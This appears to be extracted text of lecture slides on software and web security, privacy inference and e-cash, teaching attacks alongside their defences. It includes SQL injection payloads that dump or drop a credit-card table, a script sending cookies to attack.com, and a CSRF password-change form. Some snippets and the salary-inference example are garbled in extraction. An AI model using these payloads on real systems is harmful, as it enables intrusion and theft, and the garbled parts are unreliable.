Buffer Overflows
Frames and function calls

- Frame of the calling function
  - Frame for callee function
    - Local vars
    - Function arguments
  - Local vars
  - Saved eip
  - Saved ebp

“Simple” buffer overflow

- Overflow one variable into another

- `gets(color)`
  - What if I type “blue 1”? 
  - (Actually, need to be more clever than this)
More devious examples…

- strcpy(buf, str)

- What if str has more than buf can hold?
  - Problem: strcpy does not check that str is shorter than buf
  - Overwrite EIP, change expected control flow of program
    (cf. in-class examples)

Example continued…

- Upon receiving the request, a script might generate an SQL query as follows:
  
  ```java
  sql_query = "SELECT pizza, quantity, order_day "
             + "FROM orders 
             + "WHERE userid=" + session.getCurrentUserId()
             + " AND order_month= 
             + request.getParameter("month");
  ```

- A normal query would look like:

  ```sql
  SELECT pizza, quantity, order_day
  FROM orders
  WHERE userid=4123
  AND order_month=10
  ```
Even worse...

- Craft an http request that generates an SQL query like the following:

```sql
SELECT pizza, quantity, order_day
FROM orders
WHERE userid=4123
AND order_month=0 OR 1=0
UNION SELECT cardholder, number, exp_date
FROM creditcards
```

- Attacker gets the entire credit-card table instead!

More damage...

- SQL queries can encode multiple commands, separated by ';'

- Craft an http request that generates an SQL query like the following:

```sql
SELECT pizza, quantity, order_day
FROM orders
WHERE userid=4123
AND order_month=0 ;
DROP TABLE creditcards
```

- Credit-card table deleted!
SQL Injection

+ XKCD...

**Hi, this is your son’s school. We’re having some computer trouble.**

**Oh, dear – did he break something? In a way—**

**Did you really name your son Robert?; DROP TABLE Students;--?**

**Oh, yes. Little Bobby Tables, we call him.**

**Well, we’ve lost this year’s student records. I hope you’re happy.**

**And I hope you’ve learned to sanitize your database inputs.**
Second-order SQL injection

- Use a previously stored value to do SQL injection
- E.g., say stored username contains a single quote, encoded appropriately when first stored, e.g.,

  ```
  INSERT INTO users (uname,passwd) 
  VALUES ('o''connor','terminator')
  ```

- Later, can change own password:

  ```
  query2 = "UPDATE users SET passwd='" + 
  + new_password + '" WHERE uname='" + 
  + uname + '"";
  ```

- What if `uname = admin' --`?

Solutions?

- Defense-in-depth...
  - Use several solutions, as appropriate

- Blacklisting
- Whitelisting
- Sanitization
- Prepared statements/bind variables
- Mitigate the impact of SQL injections
Mitigating the impact

- Limit privileges
  - I.e., allow SELECT queries on the orders database, but no queries on creditcards database
  - Can limit commands, or tables to which access is given (or both)
  - Principle of least privilege
  - Not a complete fix, but it helps

- Encrypt sensitive data stored in database
  - E.g., orders in the clear but credit card numbers encrypted

Web Attacks
Foolishness

- Attacker can *view the page source*

```html
<HTML>
<HEAD><TITLE>Pay</TITLE></HEAD><BODY>
<FORM ACTION="submit_order" METHOD="GET">
  The total cost is $5.50. Confirm order?
  <INPUT TYPE="hidden" NAME="price" VALUE="0.01">
  <INPUT TYPE="submit" NAME="pay" VALUE="yes">
  <INPUT TYPE="submit" NAME="pay" VALUE="no">
</BODY></HTML>
```

- And modify it!

- When form submitted, it generates the request
  
  GET /submit_order?price=0.01&pay=yes HTTP/1.0

Solution 1

- Store state on the server
  - Server creates a *session-id* for each session, and stores a table mapping session-ids to state
  - Session-id sent to client, who re-sends it in its requests

```html
<HTML>
<HEAD><TITLE>Pay</TITLE></HEAD><BODY>
<FORM ACTION="submit_order" METHOD="GET">
  The total cost is $5.50. Confirm order?
  <INPUT TYPE="hidden" NAME="sid" VALUE="78272901149">
  <INPUT TYPE="submit" NAME="pay" VALUE="yes">
  <INPUT TYPE="submit" NAME="pay" VALUE="no">
</BODY></HTML>
```
Solution 2

- *Authenticate* client-side state
- Server verifies state sent by the client
- What is the right cryptographic tool here?

---

Same-origin policy

- Scripts embedded in a page can
  - Read/modify the contents of that page
  - Read cookies associated with that page
  - Receive/respond to events (mouse clicks)

- *Same-origin policy*: scripts can only access properties associated with documents from the same *origin* as the document containing the script
  - *Origin* defined by protocol+hostname+port (not document path)
  - Http and https are different protocols
**Exploits using (reflected) XSS**

user logs in
user clicks...
malicious code run

<script>
var i=new Image;
i.src="http://attack.com"+
document.cookie; </script>
+i=new Image;
i.src="http://attack.com"+
document.cookie; </script>

Exploits user's trust in server

**Exploits using (stored) XSS**

user logs in
post malicious code

malicious code run

credential sent to attacker

Exploits user's trust in server
**Cross-site request forgery (CSRF)**

1. Alice's browser loads page from bad.com

2. Script runs causing evilform to be submitted with a password-change request by loading www.good.com/update_pwd with attacker-specified field

   ```html
   <form method="POST" name="evilform" target="hiddenframe" action="https://www.good.com/update_pwd">
       <input type="hidden" id="password" value="badpwd">
   </form>
   <iframe name="hiddenframe" style="display: none"></iframe>
   ```

   ```javascript
   document.evilform.submit();
   ```

3. Browser sends authentication cookies to good server. Honest user's password is changed to badpwd!

---

**Notes**

- Due to same-origin policy, bad.com does not have access to any data associated with good.com

- When bad.com page loaded, it executes script which sends a POST request to good.com with attacker-specified parameters
  
  - Browser sends all cookies for good.com along with this request!

- Malicious page cannot read user's data, but can write to user's account
Notes

- Can be viewed as failure of principle of *complete mediation*
  - User should be required to re-authenticate before changing their password

- Also (potentially) principle of *least privilege*
  - User should log out of a website if not actively using it

---

Preventing XSS

- Escaping/encoding input

- Validation/sanitization
  - Suppress/escape `<`, `>`, `"`, etc, … at time they are input by a user

- Can apply these techniques at the time data is read, or at the time the resulting page is displayed to the client
Preventing XSS

- **Drawbacks**
  - Sometimes these characters may be legitimate
  - Unclear when all malicious text is filtered out
- Very difficult (impossible?) to get sanitization right
- Several sanitizers exist…
  - ...and several exploits of them are known
- Better to err on the conservative side

Other

- **Client-side protection**
  - (Assumes servers do not use GET requests for modifying data)
  - Browser plug-in that filters out POST requests unless requesting site and target site satisfy same-origin policy
  - Might still filter out some legitimate requests
- **Server-side protection**
  - Prevent CSRF attacks by allowing the legitimate server to remember or distinguish links in 'fresh' pages it serves, from links embedded in attacker pages
Privacy and Anonymity

What is different here?

- Privacy/pseudonymity
  - Different trust relationships – interactions between entities that partially trust each other
  - Inherently “fuzzy” – ok if a few people learn some information; not ok if everyone learns all information

- Anonymity
  - Classical crypto hides the contents of what is being communicated, but not the fact that communication is taking place
The problem

- A user may be able to learn unauthorized information via inference
  - Combining multiple pieces of authorized data
  - Combining authorized data with “external” knowledge
    - 87% of people identified by ZIP code + gender + date of birth
    - Someone with breast cancer is likely a female
  
- This is a (potentially) serious real-world problem
  - See the article by Sweeney for many examples

Example

<table>
<thead>
<tr>
<th>Name</th>
<th>UID</th>
<th>Years of service</th>
<th>Salary</th>
</tr>
</thead>
<tbody>
<tr>
<td>Alice</td>
<td>001</td>
<td>12</td>
<td>$65,000</td>
</tr>
<tr>
<td>Bob</td>
<td>010</td>
<td>1</td>
<td>$40,000</td>
</tr>
<tr>
<td>Charlie</td>
<td>011</td>
<td>20</td>
<td>$70,000</td>
</tr>
<tr>
<td>Debbie</td>
<td>100</td>
<td>30</td>
<td>$80,000</td>
</tr>
<tr>
<td>Evan</td>
<td>101</td>
<td>4</td>
<td>$50,000</td>
</tr>
<tr>
<td>Frank</td>
<td>110</td>
<td>8</td>
<td>$58,000</td>
</tr>
</tbody>
</table>

External knowledge: more years ⇒ higher pay

(Alice, 12) → 1 → 4 → $40,000
(Bob, 1) → 0 → 8 → $50,000
(Charlie, 20) → 0 → 8 → $58,000
(Debbie, 30) → 0 → 8 → $65,000
(Evan, 4) → 0 → 8 → $70,000
(Frank, 8) → 0 → 8 → $80,000
Database privacy

- Two general methods to deal with database privacy
  - **Query restriction**: Limit what queries are allowed. Allowed queried are answered correctly, while disallowed queries are simply not answered.
  - **Perturbation**: Queries answered “noisily”. Also includes “scrubbing” (or suppressing) some of the data.

- (Could also be combined)

---

**Example**

<table>
<thead>
<tr>
<th>Name</th>
<th>Gender</th>
<th>Years of service</th>
<th>Salary</th>
</tr>
</thead>
<tbody>
<tr>
<td>Alice</td>
<td>F</td>
<td>12</td>
<td>$65,000</td>
</tr>
<tr>
<td>Bob</td>
<td>M</td>
<td>1</td>
<td>$40,000</td>
</tr>
<tr>
<td>Charlie</td>
<td>M</td>
<td>20</td>
<td>$70,000</td>
</tr>
<tr>
<td>Dan</td>
<td>M</td>
<td>30</td>
<td>$80,000</td>
</tr>
<tr>
<td>Evan</td>
<td>M</td>
<td>4</td>
<td>$50,000</td>
</tr>
<tr>
<td>Frank</td>
<td>M</td>
<td>8</td>
<td>$58,000</td>
</tr>
</tbody>
</table>

Give me SUM Salary WHERE Gender='M'

$363,000  $298,000

Alice's salary: $65,000
Query restriction

- We can try to “look ahead”, and not respond to any query for which there is a subsequent query that will reveal information regardless of whether we respond or not.

![Diagram showing query restriction]

Electronic Cash
Electronic Cash

- Secret sharing
- Bit commitment
- E-cash protocols
  - problems:
    - double-spending
    - fingering the culprit